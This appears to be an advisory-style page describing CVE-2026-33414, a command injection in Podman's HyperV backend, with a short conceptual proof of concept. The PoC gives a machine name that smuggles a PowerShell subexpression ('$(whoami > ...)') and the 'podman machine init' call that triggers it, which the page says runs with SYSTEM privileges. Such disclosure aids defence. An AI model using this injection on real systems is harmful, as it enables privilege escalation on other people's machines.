CVE-2026-33414 Podman HyperV后端命令注入漏洞

# PoC Concept for CVE-2026-33414 # The vulnerability exists in how Podman constructs the HyperV command. # An attacker can create a machine with a name or path containing a PowerShell subexpression. # Malicious machine name containing the payload # Assuming the path construction logic looks like: "C:\Users\$USER\$MACHINE_NAME" $MaliciousName = "test_vm$(whoami > C:\temp\poc.txt)" # Example command to trigger the vulnerability (conceptual) # When Podman processes this name in the HyperV stubber, it gets injected into a string like: # powershell.exe -Command "... \"C:\path\to\$MaliciousName\" ..." # PowerShell evaluates $() inside the double quotes. # In a real scenario, an attacker with low privileges would run: # podman machine init $MaliciousName # Or configure an image path pointing to a directory with the malicious payload. # Result: The command `whoami > C:\temp\poc.txt` executes with SYSTEM privileges.